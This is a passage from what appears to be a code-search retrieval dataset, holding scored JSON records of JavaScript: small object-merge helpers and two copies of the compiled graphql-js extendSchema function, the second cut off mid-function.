this.isObject(a[key],1)) {\n this.merge(a[key], b[key])\n }\n }\n return a;\n }", "title": "" }, { "docid": "e1f2e11365f68acbd987eff5209d815c", "score": "0.4934107", "text": "function merge(a, b) {\n if ( a ) {\n for ( var property in b ) {\n if ( !hasOwnProperty.call(a, property) ) {\n a[property] = b[property];\n }\n }\n } else {\n a = b;\n }\n\n return a;\n }", "title": "" }, { "docid": "2e11fcb98306aaada8982d2d099c567b", "score": "0.49147728", "text": "function extendSchema(schema, documentAST, options) {\n !(0, _schema.isSchema)(schema) ? (0, _invariant.default)(0, 'Must provide valid GraphQLSchema') : void 0;\n !(documentAST && documentAST.kind === _kinds.Kind.DOCUMENT) ? (0, _invariant.default)(0, 'Must provide valid Document AST') : void 0;\n\n if (!options || !(options.assumeValid || options.assumeValidSDL)) {\n (0, _validate.assertValidSDLExtension)(documentAST, schema);\n } // Collect the type definitions and extensions found in the document.\n\n\n var typeDefinitionMap = Object.create(null);\n var typeExtensionsMap = Object.create(null); // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n\n var directiveDefinitions = [];\n var schemaDef; // Schema extensions are collected which may add additional operation types.\n\n var schemaExtensions = [];\n\n for (var i = 0; i < documentAST.definitions.length; i++) {\n var def = documentAST.definitions[i];\n\n if (def.kind === _kinds.Kind.SCHEMA_DEFINITION) {\n schemaDef = def;\n } else if (def.kind === _kinds.Kind.SCHEMA_EXTENSION) {\n schemaExtensions.push(def);\n } else if ((0, _predicates.isTypeDefinitionNode)(def)) {\n // Sanity check that none of the defined types conflict with the\n // schema's existing types.\n var typeName = def.name.value;\n\n if (schema.getType(typeName)) {\n throw new _GraphQLError.GraphQLError(\"Type \\\"\".concat(typeName, \"\\\" already exists in the schema. It cannot also \") + 'be defined in this type definition.', [def]);\n }\n\n typeDefinitionMap[typeName] = def;\n } else if ((0, _predicates.isTypeExtensionNode)(def)) {\n // Sanity check that this type extension exists within the\n // schema's existing types.\n var extendedTypeName = def.name.value;\n var existingType = schema.getType(extendedTypeName);\n\n if (!existingType) {\n throw new _GraphQLError.GraphQLError(\"Cannot extend type \\\"\".concat(extendedTypeName, \"\\\" because it does not \") + 'exist in the existing schema.', [def]);\n }\n\n checkExtensionNode(existingType, def);\n var existingTypeExtensions = typeExtensionsMap[extendedTypeName];\n typeExtensionsMap[extendedTypeName] = existingTypeExtensions ? existingTypeExtensions.concat([def]) : [def];\n } else if (def.kind === _kinds.Kind.DIRECTIVE_DEFINITION) {\n var directiveName = def.name.value;\n var existingDirective = schema.getDirective(directiveName);\n\n if (existingDirective) {\n throw new _GraphQLError.GraphQLError(\"Directive \\\"\".concat(directiveName, \"\\\" already exists in the schema. It \") + 'cannot be redefined.', [def]);\n }\n\n directiveDefinitions.push(def);\n }\n } // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n\n\n if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0 && schemaExtensions.length === 0 && !schemaDef) {\n return schema;\n }\n\n var astBuilder = new _buildASTSchema.ASTDefinitionBuilder(typeDefinitionMap, options, function (typeRef) {\n var typeName = typeRef.name.value;\n var existingType = schema.getType(typeName);\n\n if (existingType) {\n return extendNamedType(existingType);\n }\n\n throw new _GraphQLError.GraphQLError(\"Unknown type: \\\"\".concat(typeName, \"\\\". Ensure that this type exists \") + 'either in the original schema, or is added in a type definition.', [typeRef]);\n });\n var extendTypeCache = Object.create(null); // Get the extended root operation types.\n\n var operationTypes = {\n query: extendMaybeNamedType(schema.getQueryType()),\n mutation: extendMaybeNamedType(schema.getMutationType()),\n subscription: extendMaybeNamedType(schema.getSubscriptionType())\n };\n\n if (schemaDef) {\n var _iteratorNormalCompletion = true;\n var _didIteratorError = false;\n var _iteratorError = undefined;\n\n try {\n for (var _iterator = schemaDef.operationTypes[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {\n var _ref2 = _step.value;\n var operation = _ref2.operation,\n type = _ref2.type;\n\n if (operationTypes[operation]) {\n throw new Error(\"Must provide only one \".concat(operation, \" type in schema.\"));\n } // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n\n operationTypes[operation] = astBuilder.buildType(type);\n }\n } catch (err) {\n _didIteratorError = true;\n _iteratorError = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion && _iterator.return != null) {\n _iterator.return();\n }\n } finally {\n if (_didIteratorError) {\n throw _iteratorError;\n }\n }\n }\n } // Then, incorporate schema definition and all schema extensions.\n\n\n for (var _i = 0; _i < schemaExtensions.length; _i++) {\n var schemaExtension = schemaExtensions[_i];\n\n if (schemaExtension.operationTypes) {\n var _iteratorNormalCompletion12 = true;\n var _didIteratorError12 = false;\n var _iteratorError12 = undefined;\n\n try {\n for (var _iterator12 = schemaExtension.operationTypes[Symbol.iterator](), _step12; !(_iteratorNormalCompletion12 = (_step12 = _iterator12.next()).done); _iteratorNormalCompletion12 = true) {\n var _ref4 = _step12.value;\n var operation = _ref4.operation,\n type = _ref4.type;\n\n if (operationTypes[operation]) {\n throw new Error(\"Must provide only one \".concat(operation, \" type in schema.\"));\n } // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n\n operationTypes[operation] = astBuilder.buildType(type);\n }\n } catch (err) {\n _didIteratorError12 = true;\n _iteratorError12 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion12 && _iterator12.return != null) {\n _iterator12.return();\n }\n } finally {\n if (_didIteratorError12) {\n throw _iteratorError12;\n }\n }\n }\n }\n }\n\n var schemaExtensionASTNodes = schemaExtensions ? schema.extensionASTNodes ? schema.extensionASTNodes.concat(schemaExtensions) : schemaExtensions : schema.extensionASTNodes;\n var types = (0, _objectValues.default)(schema.getTypeMap()).map(function (type) {\n return extendNamedType(type);\n }).concat((0, _objectValues.default)(typeDefinitionMap).map(function (type) {\n return astBuilder.buildType(type);\n })); // Support both original legacy names and extended legacy names.\n\n var allowedLegacyNames = schema.__allowedLegacyNames.concat(options && options.allowedLegacyNames || []); // Then produce and return a Schema with these types.\n\n\n return new _schema.GraphQLSchema(_objectSpread({}, operationTypes, {\n types: types,\n directives: getMergedDirectives(),\n astNode: schema.astNode,\n extensionASTNodes: schemaExtensionASTNodes,\n allowedLegacyNames: allowedLegacyNames\n })); // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? (0, _invariant.default)(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }\n\n function extendMaybeNamedType(type) {\n return type ? extendNamedType(type) : null;\n }\n\n function extendNamedType(type) {\n if ((0, _introspection.isIntrospectionType)(type) || (0, _scalars.isSpecifiedScalarType)(type)) {\n // Builtin types are not extended.\n return type;\n }\n\n var name = type.name;\n\n if (!extendTypeCache[name]) {\n if ((0, _definition.isScalarType)(type)) {\n extendTypeCache[name] = extendScalarType(type);\n } else if ((0, _definition.isObjectType)(type)) {\n extendTypeCache[name] = extendObjectType(type);\n } else if ((0, _definition.isInterfaceType)(type)) {\n extendTypeCache[name] = extendInterfaceType(type);\n } else if ((0, _definition.isUnionType)(type)) {\n extendTypeCache[name] = extendUnionType(type);\n } else if ((0, _definition.isEnumType)(type)) {\n extendTypeCache[name] = extendEnumType(type);\n } else if ((0, _definition.isInputObjectType)(type)) {\n extendTypeCache[name] = extendInputObjectType(type);\n }\n }\n\n return extendTypeCache[name];\n }\n\n function extendDirective(directive) {\n return new _directives.GraphQLDirective({\n name: directive.name,\n description: directive.description,\n locations: directive.locations,\n args: extendArgs(directive.args),\n astNode: directive.astNode\n });\n }\n\n function extendInputObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLInputObjectType({\n name: name,\n description: type.description,\n fields: function fields() {\n return extendInputFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendInputFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n\n var _arr = Object.keys(oldFieldMap);\n\n for (var _i2 = 0; _i2 < _arr.length; _i2++) {\n var _fieldName = _arr[_i2];\n var _field = oldFieldMap[_fieldName];\n newFieldMap[_fieldName] = {\n description: _field.description,\n type: extendType(_field.type),\n defaultValue: _field.defaultValue,\n astNode: _field.astNode\n };\n } // If there are any extensions to the fields, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion2 = true;\n var _didIteratorError2 = false;\n var _iteratorError2 = undefined;\n\n try {\n for (var _iterator2 = extensions[Symbol.iterator](), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) {\n var extension = _step2.value;\n var _iteratorNormalCompletion3 = true;\n var _didIteratorError3 = false;\n var _iteratorError3 = undefined;\n\n try {\n for (var _iterator3 = extension.fields[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {\n var field = _step3.value;\n var fieldName = field.name.value;\n\n if (oldFieldMap[fieldName]) {\n throw new _GraphQLError.GraphQLError(\"Field \\\"\".concat(type.name, \".\").concat(fieldName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n\n newFieldMap[fieldName] = astBuilder.buildInputField(field);\n }\n } catch (err) {\n _didIteratorError3 = true;\n _iteratorError3 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion3 && _iterator3.return != null) {\n _iterator3.return();\n }\n } finally {\n if (_didIteratorError3) {\n throw _iteratorError3;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError2 = true;\n _iteratorError2 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion2 && _iterator2.return != null) {\n _iterator2.return();\n }\n } finally {\n if (_didIteratorError2) {\n throw _iteratorError2;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendEnumType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLEnumType({\n name: name,\n description: type.description,\n values: extendValueMap(type),\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendValueMap(type) {\n var newValueMap = Object.create(null);\n var oldValueMap = (0, _keyMap.default)(type.getValues(), function (value) {\n return value.name;\n });\n\n var _arr2 = Object.keys(oldValueMap);\n\n for (var _i3 = 0; _i3 < _arr2.length; _i3++) {\n var _valueName = _arr2[_i3];\n var _value = oldValueMap[_valueName];\n newValueMap[_valueName] = {\n name: _value.name,\n description: _value.description,\n value: _value.value,\n deprecationReason: _value.deprecationReason,\n astNode: _value.astNode\n };\n } // If there are any extensions to the values, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion4 = true;\n var _didIteratorError4 = false;\n var _iteratorError4 = undefined;\n\n try {\n for (var _iterator4 = extensions[Symbol.iterator](), _step4; !(_iteratorNormalCompletion4 = (_step4 = _iterator4.next()).done); _iteratorNormalCompletion4 = true) {\n var extension = _step4.value;\n var _iteratorNormalCompletion5 = true;\n var _didIteratorError5 = false;\n var _iteratorError5 = undefined;\n\n try {\n for (var _iterator5 = extension.values[Symbol.iterator](), _step5; !(_iteratorNormalCompletion5 = (_step5 = _iterator5.next()).done); _iteratorNormalCompletion5 = true) {\n var value = _step5.value;\n var valueName = value.name.value;\n\n if (oldValueMap[valueName]) {\n throw new _GraphQLError.GraphQLError(\"Enum value \\\"\".concat(type.name, \".\").concat(valueName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [value]);\n }\n\n newValueMap[valueName] = astBuilder.buildEnumValue(value);\n }\n } catch (err) {\n _didIteratorError5 = true;\n _iteratorError5 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion5 && _iterator5.return != null) {\n _iterator5.return();\n }\n } finally {\n if (_didIteratorError5) {\n throw _iteratorError5;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError4 = true;\n _iteratorError4 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion4 && _iterator4.return != null) {\n _iterator4.return();\n }\n } finally {\n if (_didIteratorError4) {\n throw _iteratorError4;\n }\n }\n }\n }\n\n return newValueMap;\n }\n\n function extendScalarType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLScalarType({\n name: name,\n description: type.description,\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n serialize: type.serialize,\n parseValue: type.parseValue,\n parseLiteral: type.parseLiteral\n });\n }\n\n function extendObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLObjectType({\n name: name,\n description: type.description,\n interfaces: function interfaces() {\n return extendImplementedInterfaces(type);\n },\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n isTypeOf: type.isTypeOf\n });\n }\n\n function extendArgs(args) {\n return (0, _keyValMap.default)(args, function (arg) {\n return arg.name;\n }, function (arg) {\n return {\n type: extendType(arg.type),\n defaultValue: arg.defaultValue,\n description: arg.description,\n astNode: arg.astNode\n };\n });\n }\n\n function extendInterfaceType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLInterfaceType({\n name: type.name,\n description: type.description,\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n resolveType: type.resolveType\n });\n }\n\n function extendUnionType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLUnionType({\n name: name,\n description: type.description,\n types: function types() {\n return extendPossibleTypes(type);\n },\n astNode: type.astNode,\n resolveType: type.resolveType,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendPossibleTypes(type) {\n var possibleTypes = type.getTypes().map(extendNamedType); // If there are any extensions to the union, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion6 = true;\n var _didIteratorError6 = false;\n var _iteratorError6 = undefined;\n\n try {\n for (var _iterator6 = extensions[Symbol.iterator](), _step6; !(_iteratorNormalCompletion6 = (_step6 = _iterator6.next()).done); _iteratorNormalCompletion6 = true) {\n var extension = _step6.value;\n var _iteratorNormalCompletion7 = true;\n var _didIteratorError7 = false;\n var _iteratorError7 = undefined;\n\n try {\n for (var _iterator7 = extension.types[Symbol.iterator](), _step7; !(_iteratorNormalCompletion7 = (_step7 = _iterator7.next()).done); _iteratorNormalCompletion7 = true) {\n var namedType = _step7.value;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n possibleTypes.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError7 = true;\n _iteratorError7 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion7 && _iterator7.return != null) {\n _iterator7.return();\n }\n } finally {\n if (_didIteratorError7) {\n throw _iteratorError7;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError6 = true;\n _iteratorError6 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion6 && _iterator6.return != null) {\n _iterator6.return();\n }\n } finally {\n if (_didIteratorError6) {\n throw _iteratorError6;\n }\n }\n }\n }\n\n return possibleTypes;\n }\n\n function extendImplementedInterfaces(type) {\n var interfaces = type.getInterfaces().map(extendNamedType); // If there are any extensions to the interfaces, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion8 = true;\n var _didIteratorError8 = false;\n var _iteratorError8 = undefined;\n\n try {\n for (var _iterator8 = extensions[Symbol.iterator](), _step8; !(_iteratorNormalCompletion8 = (_step8 = _iterator8.next()).done); _iteratorNormalCompletion8 = true) {\n var extension = _step8.value;\n var _iteratorNormalCompletion9 = true;\n var _didIteratorError9 = false;\n var _iteratorError9 = undefined;\n\n try {\n for (var _iterator9 = extension.interfaces[Symbol.iterator](), _step9; !(_iteratorNormalCompletion9 = (_step9 = _iterator9.next()).done); _iteratorNormalCompletion9 = true) {\n var namedType = _step9.value;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n interfaces.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError9 = true;\n _iteratorError9 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion9 && _iterator9.return != null) {\n _iterator9.return();\n }\n } finally {\n if (_didIteratorError9) {\n throw _iteratorError9;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError8 = true;\n _iteratorError8 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion8 && _iterator8.return != null) {\n _iterator8.return();\n }\n } finally {\n if (_didIteratorError8) {\n throw _iteratorError8;\n }\n }\n }\n }\n\n return interfaces;\n }\n\n function extendFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n\n var _arr3 = Object.keys(oldFieldMap);\n\n for (var _i4 = 0; _i4 < _arr3.length; _i4++) {\n var _fieldName2 = _arr3[_i4];\n var _field2 = oldFieldMap[_fieldName2];\n newFieldMap[_fieldName2] = {\n description: _field2.description,\n deprecationReason: _field2.deprecationReason,\n type: extendType(_field2.type),\n args: extendArgs(_field2.args),\n astNode: _field2.astNode,\n resolve: _field2.resolve\n };\n } // If there are any extensions to the fields, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion10 = true;\n var _didIteratorError10 = false;\n var _iteratorError10 = undefined;\n\n try {\n for (var _iterator10 = extensions[Symbol.iterator](), _step10; !(_iteratorNormalCompletion10 = (_step10 = _iterator10.next()).done); _iteratorNormalCompletion10 = true) {\n var extension = _step10.value;\n var _iteratorNormalCompletion11 = true;\n var _didIteratorError11 = false;\n var _iteratorError11 = undefined;\n\n try {\n for (var _iterator11 = extension.fields[Symbol.iterator](), _step11; !(_iteratorNormalCompletion11 = (_step11 = _iterator11.next()).done); _iteratorNormalCompletion11 = true) {\n var field = _step11.value;\n var fieldName = field.name.value;\n\n if (oldFieldMap[fieldName]) {\n throw new _GraphQLError.GraphQLError(\"Field \\\"\".concat(type.name, \".\").concat(fieldName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n\n newFieldMap[fieldName] = astBuilder.buildField(field);\n }\n } catch (err) {\n _didIteratorError11 = true;\n _iteratorError11 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion11 && _iterator11.return != null) {\n _iterator11.return();\n }\n } finally {\n if (_didIteratorError11) {\n throw _iteratorError11;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError10 = true;\n _iteratorError10 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion10 && _iterator10.return != null) {\n _iterator10.return();\n }\n } finally {\n if (_didIteratorError10) {\n throw _iteratorError10;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendType(typeDef) {\n if ((0, _definition.isListType)(typeDef)) {\n return (0, _definition.GraphQLList)(extendType(typeDef.ofType));\n }\n\n if ((0, _definition.isNonNullType)(typeDef)) {\n return (0, _definition.GraphQLNonNull)(extendType(typeDef.ofType));\n }\n\n return extendNamedType(typeDef);\n }\n}", "title": "" }, { "docid": "43ca22257c545785f89730da047ada5f", "score": "0.49147728", "text": "function extendSchema(schema, documentAST, options) {\n !(0, _schema.isSchema)(schema) ? (0, _invariant.default)(0, 'Must provide valid GraphQLSchema') : void 0;\n !(documentAST && documentAST.kind === _kinds.Kind.DOCUMENT) ? (0, _invariant.default)(0, 'Must provide valid Document AST') : void 0;\n\n if (!options || !(options.assumeValid || options.assumeValidSDL)) {\n (0, _validate.assertValidSDLExtension)(documentAST, schema);\n } // Collect the type definitions and extensions found in the document.\n\n\n var typeDefinitionMap = Object.create(null);\n var typeExtensionsMap = Object.create(null); // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n\n var directiveDefinitions = [];\n var schemaDef; // Schema extensions are collected which may add additional operation types.\n\n var schemaExtensions = [];\n\n for (var i = 0; i < documentAST.definitions.length; i++) {\n var def = documentAST.definitions[i];\n\n if (def.kind === _kinds.Kind.SCHEMA_DEFINITION) {\n schemaDef = def;\n } else if (def.kind === _kinds.Kind.SCHEMA_EXTENSION) {\n schemaExtensions.push(def);\n } else if ((0, _predicates.isTypeDefinitionNode)(def)) {\n // Sanity check that none of the defined types conflict with the\n // schema's existing types.\n var typeName = def.name.value;\n\n if (schema.getType(typeName)) {\n throw new _GraphQLError.GraphQLError(\"Type \\\"\".concat(typeName, \"\\\" already exists in the schema. It cannot also \") + 'be defined in this type definition.', [def]);\n }\n\n typeDefinitionMap[typeName] = def;\n } else if ((0, _predicates.isTypeExtensionNode)(def)) {\n // Sanity check that this type extension exists within the\n // schema's existing types.\n var extendedTypeName = def.name.value;\n var existingType = schema.getType(extendedTypeName);\n\n if (!existingType) {\n throw new _GraphQLError.GraphQLError(\"Cannot extend type \\\"\".concat(extendedTypeName, \"\\\" because it does not \") + 'exist in the existing schema.', [def]);\n }\n\n checkExtensionNode(existingType, def);\n var existingTypeExtensions = typeExtensionsMap[extendedTypeName];\n typeExtensionsMap[extendedTypeName] = existingTypeExtensions ? existingTypeExtensions.concat([def]) : [def];\n } else if (def.kind === _kinds.Kind.DIRECTIVE_DEFINITION) {\n var directiveName = def.name.value;\n var existingDirective = schema.getDirective(directiveName);\n\n if (existingDirective) {\n throw new _GraphQLError.GraphQLError(\"Directive \\\"\".concat(directiveName, \"\\\" already exists in the schema. It \") + 'cannot be redefined.', [def]);\n }\n\n directiveDefinitions.push(def);\n }\n } // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n\n\n if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0 && schemaExtensions.length === 0 && !schemaDef) {\n return schema;\n }\n\n var astBuilder = new _buildASTSchema.ASTDefinitionBuilder(typeDefinitionMap, options, function (typeRef) {\n var typeName = typeRef.name.value;\n var existingType = schema.getType(typeName);\n\n if (existingType) {\n return extendNamedType(existingType);\n }\n\n throw new _GraphQLError.GraphQLError(\"Unknown type: \\\"\".concat(typeName, \"\\\". Ensure that this type exists \") + 'either in the original schema, or is added in a type definition.', [typeRef]);\n });\n var extendTypeCache = Object.create(null); // Get the extended root operation types.\n\n var operationTypes = {\n query: extendMaybeNamedType(schema.getQueryType()),\n mutation: extendMaybeNamedType(schema.getMutationType()),\n subscription: extendMaybeNamedType(schema.getSubscriptionType())\n };\n\n if (schemaDef) {\n var _iteratorNormalCompletion = true;\n var _didIteratorError = false;\n var _iteratorError = undefined;\n\n try {\n for (var _iterator = schemaDef.operationTypes[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {\n var _ref2 = _step.value;\n var operation = _ref2.operation,\n type = _ref2.type;\n\n if (operationTypes[operation]) {\n throw new Error(\"Must provide only one \".concat(operation, \" type in schema.\"));\n } // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n\n operationTypes[operation] = astBuilder.buildType(type);\n }\n } catch (err) {\n _didIteratorError = true;\n _iteratorError = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion && _iterator.return != null) {\n _iterator.return();\n }\n } finally {\n if (_didIteratorError) {\n throw _iteratorError;\n }\n }\n }\n } // Then, incorporate schema definition and all schema extensions.\n\n\n for (var _i = 0; _i < schemaExtensions.length; _i++) {\n var schemaExtension = schemaExtensions[_i];\n\n if (schemaExtension.operationTypes) {\n var _iteratorNormalCompletion12 = true;\n var _didIteratorError12 = false;\n var _iteratorError12 = undefined;\n\n try {\n for (var _iterator12 = schemaExtension.operationTypes[Symbol.iterator](), _step12; !(_iteratorNormalCompletion12 = (_step12 = _iterator12.next()).done); _iteratorNormalCompletion12 = true) {\n var _ref4 = _step12.value;\n var operation = _ref4.operation,\n type = _ref4.type;\n\n if (operationTypes[operation]) {\n throw new Error(\"Must provide only one \".concat(operation, \" type in schema.\"));\n } // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n\n operationTypes[operation] = astBuilder.buildType(type);\n }\n } catch (err) {\n _didIteratorError12 = true;\n _iteratorError12 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion12 && _iterator12.return != null) {\n _iterator12.return();\n }\n } finally {\n if (_didIteratorError12) {\n throw _iteratorError12;\n }\n }\n }\n }\n }\n\n var schemaExtensionASTNodes = schemaExtensions ? schema.extensionASTNodes ? schema.extensionASTNodes.concat(schemaExtensions) : schemaExtensions : schema.extensionASTNodes;\n var types = (0, _objectValues.default)(schema.getTypeMap()).map(function (type) {\n return extendNamedType(type);\n }).concat((0, _objectValues.default)(typeDefinitionMap).map(function (type) {\n return astBuilder.buildType(type);\n })); // Support both original legacy names and extended legacy names.\n\n var allowedLegacyNames = schema.__allowedLegacyNames.concat(options && options.allowedLegacyNames || []); // Then produce and return a Schema with these types.\n\n\n return new _schema.GraphQLSchema(_objectSpread({}, operationTypes, {\n types: types,\n directives: getMergedDirectives(),\n astNode: schema.astNode,\n extensionASTNodes: schemaExtensionASTNodes,\n allowedLegacyNames: allowedLegacyNames\n })); // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? (0, _invariant.default)(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }\n\n function extendMaybeNamedType(type) {\n return type ? extendNamedType(type) : null;\n }\n\n function extendNamedType(type) {\n if ((0, _introspection.isIntrospectionType)(type) || (0, _scalars.isSpecifiedScalarType)(type)) {\n // Builtin types are not extended.\n return type;\n }\n\n var name = type.name;\n\n if (!extendTypeCache[name]) {\n if ((0, _definition.isScalarType)(type)) {\n extendTypeCache[name] = extendScalarType(type);\n } else if ((0, _definition.isObjectType)(type)) {\n extendTypeCache[name] = extendObjectType(type);\n } else if ((0, _definition.isInterfaceType)(type)) {\n extendTypeCache[name] = extendInterfaceType(type);\n } else if ((0, _definition.isUnionType)(type)) {\n extendTypeCache[name] = extendUnionType(type);\n } else if ((0, _definition.isEnumType)(type)) {\n extendTypeCache[name] = extendEnumType(type);\n } else if ((0, _definition.isInputObjectType)(type)) {\n extendTypeCache[name] = extendInputObjectType(type);\n }\n }\n\n return extendTypeCache[name];\n }\n\n function extendDirective(directive) {\n return new _directives.GraphQLDirective({\n name: directive.name,\n description: directive.description,\n locations: directive.locations,\n args: extendArgs(directive.args),\n astNode: directive.astNode\n });\n }\n\n function extendInputObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new _definition.GraphQLInputObjectType({\n name: name,\n description: type.description,\n fields: function fields() {\n return extendInputFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendInputFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n\n var _arr = Object.keys(oldFieldMap);\n\n for (var _i2 = 0; _i2 < _arr.length; _i2++) {\n var _fieldName = _arr[_i2];\n var _field = oldFieldMap[_fieldName];\n newFieldMap[_fieldName] = {\n description: _field.description,\n type: extendType(_field.type),\n defaultValue: _field.defaultValue,\n astNode: _field.astNode\n };\n } // If there are any extensions to the fields, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion2 = true;\n var _didIteratorError2 = false;\n var _iteratorError2 = undefined;\n\n try {\n for (var _iterator2 = extensions[Symbol.iterator](), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) {\n var extension = _step2.value;\n var _iteratorNormalCompletion3 = true;\n var _didIteratorError3 = false;\n var _iteratorError3 = undefined;\n\n try {\n for (var _iterator3 = extension.fields[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {\n var field = _step3.value;\n var fieldName = field.name.value;\n\n if (oldFieldMap[fieldName]) {\n throw new _GraphQLError.GraphQLError(\"Field \\\"\".concat(type.name, \".\").concat(fieldName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n\n 